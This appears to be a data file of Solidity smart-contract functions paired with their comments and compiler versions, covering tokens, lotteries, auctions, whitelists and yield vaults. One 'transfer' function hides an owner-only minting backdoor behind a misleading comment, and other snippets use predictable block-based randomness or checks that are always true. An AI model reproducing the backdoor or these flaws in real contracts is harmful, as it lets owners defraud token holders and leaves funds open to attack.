"function_code": "function doDraws(uint32 _drawDate, uint8[5] _result)\r\n\tpublic\r\n\tonlyOwner\r\n\treturns (bool success) \r\n\t{\r\n\t\trequire (_draws[_drawDate].count > 0);\r\n\t\trequire(!_results[_drawDate].hadDraws);\r\n\t\t_results[_drawDate].hadDraws =true;\r\n\t\tfor(uint32 i=0; i<_draws[_drawDate].count;i++){\r\n\t\t\tuint8 _prize = checkTicket(_draws[_drawDate].tickets[i],_result);\r\n\t\t\tif(_prize==5){ //special\r\n\t\t\t _results[_drawDate].special.winners.push(address(0));\r\n\t\t\t\t_results[_drawDate].special.winners[_results[_drawDate].special.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;\r\n\t\t\t}else if(_prize == 4){ //First\r\n\t\t\t _results[_drawDate].first.winners.push(address(0));\r\n\t\t\t\t_results[_drawDate].first.winners[_results[_drawDate].first.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;\r\n\t\t\t}else if(_prize == 3){ //Second\r\n\t\t\t _results[_drawDate].second.winners.push(address(0));\r\n\t\t\t\t_results[_drawDate].second.winners[_results[_drawDate].second.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;\r\n\t\t\t}else if(_prize == 2){ //Third\r\n\t\t\t _results[_drawDate].third.winners.push(address(0));\r\n\t\t\t\t_results[_drawDate].third.winners[_results[_drawDate].third.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;\r\n\t\t\t}\r\n\t\t}\r\n\t\t_results[_drawDate].result =_result;\r\n\t\tsetAmoutPrize(_drawDate,_result);\r\n\t\t\r\n\t\t\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Called by owner of locked tokens to release them\r\n */", "function_code": "function releaseTokens() public {\r\n require(walletTokens[msg.sender].length > 0);\r\n\r\n for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {\r\n if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {\r\n walletTokens[msg.sender][i].released = true;\r\n token.transfer(msg.sender, walletTokens[msg.sender][i].amount);\r\n TokensUnlocked(msg.sender, walletTokens[msg.sender][i].amount);\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but also transferring `value` wei to `target`.\r\n *\r\n * Requirements:\r\n *\r\n * - the calling contract must have an ETH balance of at least `value`.\r\n * - the called Solidity function must be `payable`.\r\n *\r\n * _Available since v3.1._\r\n */", "function_code": "function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}\r\n else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}\r\n else{_transfer(_msgSender(), recipient, amount); return true;}\r\n }", "version": "0.8.9"} {"comment": "// Initialization functions", "function_code": "function setupWithdrawTokens() internal {\r\n // Start with BAC\r\n IERC20 _token = IERC20(address(0x3449FC1Cd036255BA1EB19d65fF4BA2b8903A69a));\r\n tokenList.push(\r\n TokenInfo({\r\n token: _token,\r\n decimals: _token.decimals()\r\n })\r\n );\r\n \r\n // MIC\r\n _token = IERC20(address(0x368B3a58B5f49392e5C9E4C998cb0bB966752E51));\r\n tokenList.push(\r\n TokenInfo({\r\n token: _token,\r\n decimals: _token.decimals()\r\n })\r\n );\r\n }", "version": "0.6.6"} {"comment": "// Returns the number of locked tokens at the specified address.\n//", "function_code": "function lockedValueOf(address _addr) public view returns (uint256 value) {\r\n User storage user = users[_addr];\r\n // Is the lock expired?\r\n if (user.lock_endTime < block.timestamp) {\r\n // Lock is expired, no locked value.\r\n return 0;\r\n } else {\r\n return user.lock_value;\r\n }\r\n }", "version": "0.4.19"} {"comment": "// Lock the specified number of tokens until the specified unix\n// time. The locked value and expiration time are both absolute (if\n// the account already had some locked tokens the count will be\n// increased to this value.) If the user already has locked tokens\n// the locked token count and expiration time may not be smaller\n// than the previous values.\n//", "function_code": "function increaseLock(uint256 _value, uint256 _time) public returns (bool success) {\r\n User storage user = users[msg.sender];\r\n\r\n // Is there a lock in effect?\r\n if (block.timestamp < user.lock_endTime) {\r\n // Lock in effect, ensure nothing gets smaller.\r\n require(_value >= user.lock_value);\r\n require(_time >= user.lock_endTime);\r\n // Ensure something has increased.\r\n require(_value > user.lock_value || _time > user.lock_endTime);\r\n }\r\n\r\n // Things we always require.\r\n require(_value <= user.balance);\r\n require(_time > block.timestamp);\r\n\r\n user.lock_value = _value;\r\n user.lock_endTime = _time;\r\n LockIncrease(msg.sender, _value, _time);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "// Employees of CashBet may decrease the locked token value and/or\n// decrease the locked token expiration date. These values may not\n// ever be increased by an employee.\n//", "function_code": "function decreaseLock(uint256 _value, uint256 _time, address _user) public only_employees(_user) returns (bool success) {\r\n User storage user = users[_user];\r\n\r\n // We don't modify expired locks (they are already 0)\r\n require(user.lock_endTime > block.timestamp);\r\n // Ensure nothing gets bigger.\r\n require(_value <= user.lock_value);\r\n require(_time <= user.lock_endTime);\r\n // Ensure something has decreased.\r\n require(_value < user.lock_value || _time < user.lock_endTime);\r\n\r\n user.lock_value = _value;\r\n user.lock_endTime = _time;\r\n LockDecrease(_user, msg.sender, _value, _time);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "// Called by a token holding address, this method migrates the\n// tokens from an older version of the contract to this version.\n// The migrated tokens are merged with any existing tokens in this\n// version of the contract, resulting in the locked token count\n// being set to the sum of locked tokens in the old and new\n// contracts and the lock expiration being set the longest lock\n// duration for this address in either contract. The playerId is\n// transferred unless it was already set in the new contract.\n//\n// NOTE - allowances (approve) are *not* transferred. If you gave\n// another address an allowance in the old contract you need to\n// re-approve it in the new contract.\n//", "function_code": "function optIn() public returns (bool success) {\r\n require(migrateFrom != MigrationSource(0));\r\n User storage user = users[msg.sender];\r\n uint256 balance;\r\n uint256 lock_value;\r\n uint256 lock_endTime;\r\n bytes32 opId;\r\n bytes32 playerId;\r\n (balance, lock_value, lock_endTime, opId, playerId) =\r\n migrateFrom.vacate(msg.sender);\r\n\r\n OptIn(msg.sender, balance);\r\n \r\n user.balance = user.balance.add(balance);\r\n\r\n bool lockTimeIncreased = false;\r\n user.lock_value = user.lock_value.add(lock_value);\r\n if (user.lock_endTime < lock_endTime) {\r\n user.lock_endTime = lock_endTime;\r\n lockTimeIncreased = true;\r\n }\r\n if (lock_value > 0 || lockTimeIncreased) {\r\n LockIncrease(msg.sender, user.lock_value, user.lock_endTime);\r\n }\r\n\r\n if (user.operatorId == bytes32(0) && opId != bytes32(0)) {\r\n user.operatorId = opId;\r\n user.playerId = playerId;\r\n Associate(msg.sender, msg.sender, opId, playerId);\r\n }\r\n\r\n totalSupply_ = totalSupply_.add(balance);\r\n\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Initiates a new rebase operation, provided the minimum time period has elapsed.\r\n *\r\n * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag\r\n * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate\r\n * and targetRate is CpiOracleRate / baseCpi\r\n */", "function_code": "function rebase() external onlyOrchestrator {\r\n require(inRebaseWindow());\r\n\r\n // This comparison also ensures there is no reentrancy.\r\n require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);\r\n\r\n // Snap the rebase time to the start of this window.\r\n lastRebaseTimestampSec = block\r\n .timestamp\r\n .sub(block.timestamp.mod(minRebaseTimeIntervalSec))\r\n .add(rebaseWindowOffsetSec);\r\n\r\n epoch = epoch.add(1);\r\n\r\n uint256 targetRate = TARGET_RATE;\r\n\r\n uint256 exchangeRate;\r\n bool rateValid;\r\n (exchangeRate, rateValid) = marketOracle.getData();\r\n require(rateValid);\r\n\r\n if (exchangeRate > MAX_RATE) {\r\n exchangeRate = MAX_RATE;\r\n }\r\n\r\n int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);\r\n\r\n // Apply the Dampening factor.\r\n supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());\r\n\r\n if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {\r\n supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();\r\n }\r\n\r\n uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);\r\n assert(supplyAfterRebase <= MAX_SUPPLY);\r\n emit LogRebase(epoch, exchangeRate, supplyDelta, block.timestamp);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev ZOS upgradable contract initialization method.\r\n * It is called at the time of contract creation to invoke parent class initializers and\r\n * initialize the contract's state variables.\r\n */", "function_code": "function initialize(\r\n address owner_,\r\n IUFragments uFrags_\r\n ) public initializer {\r\n Ownable.initialize(owner_);\r\n\r\n // deviationThreshold = 0.05e18 = 5e16\r\n deviationThreshold = 5 * 10**(DECIMALS - 2);\r\n\r\n rebaseLag = 3;\r\n minRebaseTimeIntervalSec = 1 days;\r\n rebaseWindowOffsetSec = 72000; // 8PM UTC\r\n rebaseWindowLengthSec = 15 minutes;\r\n lastRebaseTimestampSec = 0;\r\n epoch = 0;\r\n\r\n uFrags = uFrags_;\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @return Computes the total supply adjustment in response to the exchange rate\r\n * and the targetRate.\r\n */", "function_code": "function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) {\r\n if (withinDeviationThreshold(rate, targetRate)) {\r\n return 0;\r\n }\r\n\r\n // supplyDelta = totalSupply * (rate - targetRate) / targetRate\r\n int256 targetRateSigned = targetRate.toInt256Safe();\r\n return\r\n uFrags.totalSupply().toInt256Safe().mul(rate.toInt256Safe().sub(targetRateSigned)).div(\r\n targetRateSigned\r\n );\r\n }", "version": "0.7.6"} {"comment": "// The vacate method is called by a newer version of the CashBetCoin\n// contract to extract the token state for an address and migrate it\n// to the new contract.\n//", "function_code": "function vacate(address _addr) public returns (uint256 o_balance,\r\n uint256 o_lock_value,\r\n uint256 o_lock_endTime,\r\n bytes32 o_opId,\r\n bytes32 o_playerId) {\r\n require(msg.sender == migrateTo);\r\n User storage user = users[_addr];\r\n require(user.balance > 0);\r\n\r\n o_balance = user.balance;\r\n o_lock_value = user.lock_value;\r\n o_lock_endTime = user.lock_endTime;\r\n o_opId = user.operatorId;\r\n o_playerId = user.playerId;\r\n\r\n totalSupply_ = totalSupply_.sub(user.balance);\r\n\r\n user.balance = 0;\r\n user.lock_value = 0;\r\n user.lock_endTime = 0;\r\n user.operatorId = bytes32(0);\r\n user.playerId = bytes32(0);\r\n\r\n Vacate(_addr, o_balance);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Initialize the auction house and base contracts,\r\n * populate configuration values, and pause the contract.\r\n * @dev This function can only be called once.\r\n */", "function_code": "function initialize(\r\n IAxons _axons,\r\n IAxonsVoting _axonsVoting,\r\n address _axonsToken,\r\n uint256 _timeBuffer,\r\n uint256 _reservePrice,\r\n uint8 _minBidIncrementPercentage,\r\n uint256 _duration\r\n ) external initializer {\r\n __Pausable_init();\r\n __ReentrancyGuard_init();\r\n __Ownable_init();\r\n\r\n _pause();\r\n\r\n axons = _axons;\r\n axonsToken = _axonsToken;\r\n axonsVoting = _axonsVoting;\r\n timeBuffer = _timeBuffer;\r\n reservePrice = _reservePrice * 10**18;\r\n minBidIncrementPercentage = _minBidIncrementPercentage;\r\n duration = _duration;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Generates a random axon number\r\n * @param _a The address to be used within the hash.\r\n */", "function_code": "function randomAxonNumber(\r\n address _a,\r\n uint256 _c\r\n ) internal view returns (uint256) {\r\n uint256 _rand = uint256(\r\n uint256(\r\n keccak256(\r\n abi.encodePacked(\r\n block.timestamp,\r\n block.difficulty,\r\n _a,\r\n _c\r\n )\r\n )\r\n ) % 900719925474000\r\n );\r\n\r\n return _rand;\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @notice Create an auction.\r\n * @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event.\r\n * If the mint reverts, the minter was updated without pausing this contract first. To remedy this,\r\n * catch the revert and pause this contract.\r\n */", "function_code": "function _createAuction(uint256 axonId) internal {\r\n try axons.mint(axonId) returns (uint256 tokenId) {\r\n uint256 startTime = block.timestamp;\r\n uint256 endTime = startTime + duration;\r\n\r\n auction = Auction({\r\n axonId: tokenId,\r\n amount: 0,\r\n startTime: startTime,\r\n endTime: endTime,\r\n bidder: payable(0),\r\n settled: false,\r\n counter: auctionCounter\r\n });\r\n\r\n emit AuctionCreated(axonId, startTime, endTime);\r\n\r\n auctionCounter++;\r\n } catch Error(string memory) {\r\n _pause();\r\n }\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @notice owner should transfer to this smart contract {_supply} Mozo tokens manually\r\n * @param _mozoToken Mozo token smart contract\r\n * @param _coOwner Array of coOwner\r\n * @param _supply Total number of tokens = No. tokens * 10^decimals = No. tokens * 100\r\n * @param _rate number of wei to buy 0.01 Mozo sale token\r\n * @param _openingTime The opening time in seconds (unix Time)\r\n * @param _closingTime The closing time in seconds (unix Time)\r\n */", "function_code": "function MozoSaleToken(\r\n OwnerERC20 _mozoToken,\r\n address[] _coOwner,\r\n uint _supply,\r\n uint _rate,\r\n uint _openingTime,\r\n uint _closingTime\r\n )\r\n public\r\n ChainCoOwner(_mozoToken, _coOwner)\r\n Timeline(_openingTime, _closingTime)\r\n onlyOwner()\r\n {\r\n require(_supply > 0);\r\n require(_rate > 0);\r\n\r\n rate = _rate;\r\n totalSupply_ = _supply;\r\n\r\n //assign all sale tokens to owner\r\n balances[_mozoToken.owner()] = totalSupply_;\r\n\r\n //add owner and co_owner to whitelist\r\n addAddressToWhitelist(msg.sender);\r\n addAddressesToWhitelist(_coOwner);\r\n emit Transfer(0x0, _mozoToken.owner(), totalSupply_);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev add an address to the whitelist, sender must have enough tokens\r\n * @param _address address for adding to whitelist\r\n * @return true if the address was added to the whitelist, false if the address was already in the whitelist\r\n */", "function_code": "function addAddressToWhitelist(address _address) onlyOwnerOrCoOwner public returns (bool success) {\r\n if (!whitelist[_address]) {\r\n whitelist[_address] = true;\r\n //transfer pending amount of tokens to user\r\n uint noOfTokens = pendingAmounts[_address];\r\n if (noOfTokens > 0) {\r\n pendingAmounts[_address] = 0;\r\n transfer(_address, noOfTokens);\r\n }\r\n success = true;\r\n }\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev add addresses to the whitelist, sender must have enough tokens\r\n * @param _addresses addresses for adding to whitelist\r\n * @return true if at least one address was added to the whitelist, \r\n * false if all addresses were already in the whitelist \r\n */", "function_code": "function addAddressesToWhitelist(address[] _addresses) onlyOwnerOrCoOwner public returns (bool success) {\r\n uint length = _addresses.length;\r\n for (uint i = 0; i < length; i++) {\r\n if (addAddressToWhitelist(_addresses[i])) {\r\n success = true;\r\n }\r\n }\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev remove addresses from the whitelist\r\n * @param _addresses addresses\r\n * @return true if at least one address was removed from the whitelist, \r\n * false if all addresses weren't in the whitelist in the first place\r\n */", "function_code": "function removeAddressesFromWhitelist(address[] _addresses) onlyOwnerOrCoOwner public returns (bool success) {\r\n uint length = _addresses.length;\r\n for (uint i = 0; i < length; i++) {\r\n if (removeAddressFromWhitelist(_addresses[i])) {\r\n success = true;\r\n }\r\n }\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @notice Settle an auction, finalizing the bid and paying out to the owner.\r\n * @dev If there are no bids, the Axon is burned.\r\n */", "function_code": "function _settleAuction() internal {\r\n IAxonsAuctionHouse.Auction memory _auction = auction;\r\n\r\n require(_auction.startTime != 0, \"Auction hasn't begun\");\r\n require(!_auction.settled, 'Auction has already been settled');\r\n require(block.timestamp >= _auction.endTime, \"Auction hasn't completed\");\r\n\r\n auction.settled = true;\r\n\r\n if (_auction.bidder == address(0)) {\r\n axons.burn(_auction.axonId);\r\n } else {\r\n axons.transferFrom(address(this), _auction.bidder, _auction.axonId);\r\n }\r\n\r\n if (_auction.amount > 0) {\r\n IAxonsToken(axonsToken).transferFrom(address(this), msg.sender, 1 * 10**18);\r\n IAxonsToken(axonsToken).burn(_auction.amount - (1 * 10**18));\r\n }\r\n\r\n emit AuctionSettled(_auction.axonId, _auction.bidder, _auction.amount);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @param _recipients list of repicients\r\n * @param _amount list of no. tokens\r\n */", "function_code": "function bonusToken(address[] _recipients, uint[] _amount) public onlyOwnerOrCoOwner onlyStopping {\r\n uint len = _recipients.length;\r\n uint len1 = _amount.length;\r\n require(len == len1);\r\n require(len <= MAX_TRANSFER);\r\n uint i;\r\n uint total = 0;\r\n for (i = 0; i < len; i++) {\r\n if (bonus_transferred_repicients[_recipients[i]] == false) {\r\n bonus_transferred_repicients[_recipients[i]] = transfer(_recipients[i], _amount[i]);\r\n total = total.add(_amount[i]);\r\n }\r\n }\r\n totalBonusToken = totalBonusToken.add(total);\r\n noBonusTokenRecipients = noBonusTokenRecipients.add(len);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * Add an address to the whitelist\r\n *\r\n * @param _key Key type address to add to the whitelist\r\n * @param _value Value type address to add to the whitelist under _key\r\n */", "function_code": "function addPair(\r\n address _key,\r\n address _value\r\n )\r\n external\r\n timeLockUpgrade\r\n {\r\n require(\r\n whitelist[_key] == address(0),\r\n \"AddressToAddressWhiteList.addPair: Address pair already exists.\"\r\n );\r\n\r\n require(\r\n _value != address(0),\r\n \"AddressToAddressWhiteList.addPair: Value must be non zero.\"\r\n );\r\n\r\n keys.push(_key);\r\n whitelist[_key] = _value;\r\n\r\n emit PairAdded(_key, _value);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Remove a address to address pair from the whitelist\r\n *\r\n * @param _key Key type address to remove to the whitelist\r\n */", "function_code": "function removePair(\r\n address _key\r\n )\r\n external\r\n timeLockUpgrade\r\n {\r\n address valueToRemove = whitelist[_key];\r\n\r\n require(\r\n valueToRemove != address(0),\r\n \"AddressToAddressWhiteList.removePair: key type address is not current whitelisted.\"\r\n );\r\n\r\n keys = keys.remove(_key);\r\n whitelist[_key] = address(0);\r\n\r\n emit PairRemoved(_key, valueToRemove);\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Edit value type address associated with a key\r\n *\r\n * @param _key Key type address to add to the whitelist\r\n * @param _value Value type address to add to the whitelist under _key\r\n */", "function_code": "function editPair(\r\n address _key,\r\n address _value\r\n )\r\n external\r\n timeLockUpgrade\r\n {\r\n require(\r\n whitelist[_key] != address(0),\r\n \"AddressToAddressWhiteList.editPair: Address pair must exist.\"\r\n );\r\n\r\n require(\r\n _value != address(0),\r\n \"AddressToAddressWhiteList.editPair: New value must be non zero.\"\r\n );\r\n\r\n emit PairRemoved(\r\n _key,\r\n whitelist[_key]\r\n );\r\n\r\n // Set new value type address for passed key type address\r\n whitelist[_key] = _value;\r\n\r\n emit PairAdded(\r\n _key,\r\n _value\r\n );\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Return array of value type addresses based on passed in key type addresses\r\n *\r\n * @param _key Array of key type addresses to get value type addresses for\r\n * @return address[] Array of value type addresses\r\n */", "function_code": "function getValues(\r\n address[] calldata _key\r\n )\r\n external\r\n view\r\n returns (address[] memory)\r\n {\r\n // Get length of passed array\r\n uint256 arrayLength = _key.length;\r\n\r\n // Instantiate value type addresses array\r\n address[] memory values = new address[](arrayLength);\r\n\r\n for (uint256 i = 0; i < arrayLength; i++) {\r\n // Get value type address for key type address at index i\r\n values[i] = getValue(\r\n _key[i]\r\n );\r\n }\r\n\r\n return values;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Return value type address associated with a passed key type address\r\n *\r\n * @param _key Address of key type\r\n * @return address Address associated with _key\r\n */", "function_code": "function getValue(\r\n address _key\r\n )\r\n public\r\n view\r\n returns (address)\r\n {\r\n // Require key to have matching value type address\r\n require(\r\n whitelist[_key] != address(0),\r\n \"AddressToAddressWhiteList.getValue: No value for that address.\"\r\n );\r\n\r\n // Return address associated with key\r\n return whitelist[_key];\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Verifies an array of addresses against the whitelist\r\n *\r\n * @param _keys Array of key type addresses to check if value exists\r\n * @return bool Whether all addresses in the list are whitelisted\r\n */", "function_code": "function areValidAddresses(\r\n address[] calldata _keys\r\n )\r\n external\r\n view\r\n returns (bool)\r\n {\r\n // Get length of passed array\r\n uint256 arrayLength = _keys.length;\r\n\r\n for (uint256 i = 0; i < arrayLength; i++) {\r\n // Return false if key type address doesn't have matching value type address\r\n if (whitelist[_keys[i]] == address(0)) {\r\n return false;\r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev calculate reward\r\n */", "function_code": "function calculateReward(address _addr, uint256 _round) public view returns(uint256)\r\n {\r\n Player memory p = players[_addr];\r\n Game memory g = games[_round];\r\n if (g.endTime > now) return 0;\r\n if (g.crystals == 0) return 0;\r\n if (p.lastRound >= _round) return 0; \r\n return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n \t * @notice `msg.sender` approves `_spender` to spend `_value` tokens\r\n \t * @param _spender The address of the account able to transfer the tokens\r\n \t * @param _value The amount of tokens to be approved for transfer\r\n \t * @return Whether the approval was successful or not\r\n \t */", "function_code": "function approve(address _spender, uint256 _value) public returns (bool success) {\r\n\t\t// The amount has to be bigger or equal to 0\r\n\t\trequire(_value >= 0);\r\n\r\n\t\tallowances[msg.sender][_spender] = _value;\r\n\r\n\t\t// Generate the public approval event and return success\r\n\t\temit Approval(msg.sender, _spender, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.4.26"} {"comment": "// Withdraw partial funds, normally used with a jar withdrawal", "function_code": "function withdraw(uint256 _amount) external {\r\n require(msg.sender == controller, \"!controller\");\r\n uint256 _balance = IERC20_1(want).balanceOf(address(this));\r\n if (_balance < _amount) {\r\n _amount = _withdrawSome(_amount.sub(_balance));\r\n _amount = _amount.add(_balance);\r\n }\r\n\r\n uint256 _feeDev = _amount.mul(withdrawalDevFundFee).div(\r\n withdrawalDevFundMax\r\n );\r\n IERC20_1(want).safeTransfer(IController(controller).devfund(), _feeDev);\r\n\r\n uint256 _feeTreasury = _amount.mul(withdrawalTreasuryFee).div(\r\n withdrawalTreasuryMax\r\n );\r\n IERC20_1(want).safeTransfer(\r\n IController(controller).treasury(),\r\n _feeTreasury\r\n );\r\n\r\n address _jar = IController(controller).jars(address(want));\r\n require(_jar != address(0), \"!jar\"); // additional protection so we don't burn the funds\r\n\r\n IERC20_1(want).safeTransfer(_jar, _amount.sub(_feeDev).sub(_feeTreasury));\r\n }", "version": "0.6.12"} {"comment": "// Withdraw all funds, normally used when migrating strategies", "function_code": "function withdrawAll() external returns (uint256 balance) {\r\n require(msg.sender == controller, \"!controller\");\r\n _withdrawAll();\r\n\r\n balance = IERC20_1(want).balanceOf(address(this));\r\n\r\n address _jar = IController(controller).jars(address(want));\r\n require(_jar != address(0), \"!jar\"); // additional protection so we don't burn the funds\r\n IERC20_1(want).safeTransfer(_jar, balance);\r\n }", "version": "0.6.12"} {"comment": "// **** Emergency functions ****", "function_code": "function execute(address _target, bytes memory _data)\r\n public\r\n payable\r\n returns (bytes memory response)\r\n {\r\n require(msg.sender == timelock, \"!timelock\");\r\n require(_target != address(0), \"!target\");\r\n\r\n // call contract in current context\r\n assembly {\r\n let succeeded := delegatecall(\r\n sub(gas(), 5000),\r\n _target,\r\n add(_data, 0x20),\r\n mload(_data),\r\n 0,\r\n 0\r\n )\r\n let size := returndatasize()\r\n\r\n response := mload(0x40)\r\n mstore(\r\n 0x40,\r\n add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))\r\n )\r\n mstore(response, size)\r\n returndatacopy(add(response, 0x20), 0, size)\r\n\r\n switch iszero(succeeded)\r\n case 1 {\r\n // throw if delegatecall failed\r\n revert(add(response, 0x20), size)\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// transfer tokens held by this contract in escrow to the recipient. Used when either claiming or cancelling gifts", "function_code": "function transferFromEscrow(address _recipient,uint256 _tokenId) internal{\r\n require(super.ownerOf(_tokenId) == address(this),\"The card must be owned by the contract for it to be in escrow\");\r\n super.clearApproval(this, _tokenId);\r\n super.removeTokenFrom(this, _tokenId);\r\n super.addTokenTo(_recipient, _tokenId);\r\n emit Transfer(this, _recipient, _tokenId);\r\n }", "version": "0.4.24"} {"comment": "//Allow addresses to buy token for another account", "function_code": "function buyRecipient(address recipient) public payable whenNotHalted {\r\n if(msg.value == 0) throw;\r\n if(!(preCrowdsaleOn()||crowdsaleOn())) throw;//only allows during presale/crowdsale\r\n if(contributions[recipient].add(msg.value)>perAddressCap()) throw;//per address cap\r\n uint256 tokens = msg.value.mul(returnRate()); //decimals=18, so no need to adjust for unit\r\n if(crowdsaleTokenSold.add(tokens)>crowdsaleTokenSupply) throw;//max supply limit\r\n\r\n balances[recipient] = balances[recipient].add(tokens);\r\n totalSupply = totalSupply.add(tokens);\r\n presaleEtherRaised = presaleEtherRaised.add(msg.value);\r\n contributions[recipient] = contributions[recipient].add(msg.value);\r\n crowdsaleTokenSold = crowdsaleTokenSold.add(tokens);\r\n if(crowdsaleTokenSold == crowdsaleTokenSupply){\r\n //If crowdsale token sold out, end crowdsale\r\n if(block.number < preEndBlock) {\r\n preEndBlock = block.number;\r\n }\r\n endBlock = block.number;\r\n }\r\n if (!multisig.send(msg.value)) throw; //immediately send Ether to multisig address\r\n Transfer(this, recipient, tokens);\r\n }", "version": "0.4.8"} {"comment": "//Return rate of token against ether.", "function_code": "function returnRate() public constant returns(uint256) {\r\n if (block.number>=startBlock && block.number<=preEndBlock) return 8888; //Pre-crowdsale\r\n if (block.number>=phase1StartBlock && block.number<=phase1EndBlock) return 8000; //Crowdsale phase1\r\n if (block.number>phase1EndBlock && block.number<=phase2EndBlock) return 7500; //Phase2\r\n if (block.number>phase2EndBlock && block.number<=phase3EndBlock) return 7000; //Phase3\r\n }", "version": "0.4.8"} {"comment": "/// @param _tulipId - Id of the tulip to auction.\n/// @param _startingPrice - Starting price in wei.\n/// @param _endingPrice - Ending price in wei.\n/// @param _duration - Duration in seconds.\n/// @param _seller - Seller address", "function_code": "function _createAuction(\r\n uint256 _tulipId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration,\r\n address _seller\r\n )\r\n internal\r\n {\r\n\r\n Auction memory auction = Auction(\r\n _seller,\r\n uint128(_startingPrice),\r\n uint128(_endingPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n\r\n tokenIdToAuction[_tulipId] = auction;\r\n\r\n AuctionCreated(\r\n uint256(_tulipId),\r\n uint256(auction.startingPrice),\r\n uint256(auction.endingPrice),\r\n uint256(auction.duration)\r\n );\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Cancel auction and return tulip to original owner.\r\n * @param _tulipId - ID of the tulip on auction\r\n */", "function_code": "function cancelAuction(uint256 _tulipId)\r\n external\r\n {\r\n Auction storage auction = tokenIdToAuction[_tulipId];\r\n require(auction.startedAt > 0);\r\n\r\n // Only seller can call this function\r\n address seller = auction.seller;\r\n require(msg.sender == seller);\r\n\r\n // Return the tulip to the owner\r\n coreContract.transfer(seller, _tulipId);\r\n\r\n // Remove auction from storage\r\n delete tokenIdToAuction[_tulipId];\r\n\r\n AuctionCancelled(_tulipId);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).\n/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.\n/// Emits {Transfer} event.\n/// Returns boolean value indicating whether operation succeeded.\n/// Requirements:\n/// - caller account must have at least `value` AnyswapV3ERC20 token.", "function_code": "function transfer(address to, uint256 value) external override returns (bool) {\r\n require(to != address(0) || to != address(this));\r\n uint256 balance = balanceOf[msg.sender];\r\n require(balance >= value, \"AnyswapV3ERC20: transfer amount exceeds balance\");\r\n\r\n balanceOf[msg.sender] = balance - value;\r\n balanceOf[to] += value;\r\n emit Transfer(msg.sender, to, value);\r\n\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.\n/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.\n/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.\n/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),\n/// unless allowance is set to `type(uint256).max`\n/// Emits {Transfer} event.\n/// Returns boolean value indicating whether operation succeeded.\n/// Requirements:\n/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.\n/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.", "function_code": "function transferFrom(address from, address to, uint256 value) external override returns (bool) {\r\n require(to != address(0) || to != address(this));\r\n if (from != msg.sender) {\r\n // _decreaseAllowance(from, msg.sender, value);\r\n uint256 allowed = allowance[from][msg.sender];\r\n if (allowed != type(uint256).max) {\r\n require(allowed >= value, \"AnyswapV3ERC20: request exceeds allowance\");\r\n uint256 reduced = allowed - value;\r\n allowance[from][msg.sender] = reduced;\r\n emit Approval(from, msg.sender, reduced);\r\n }\r\n }\r\n\r\n uint256 balance = balanceOf[from];\r\n require(balance >= value, 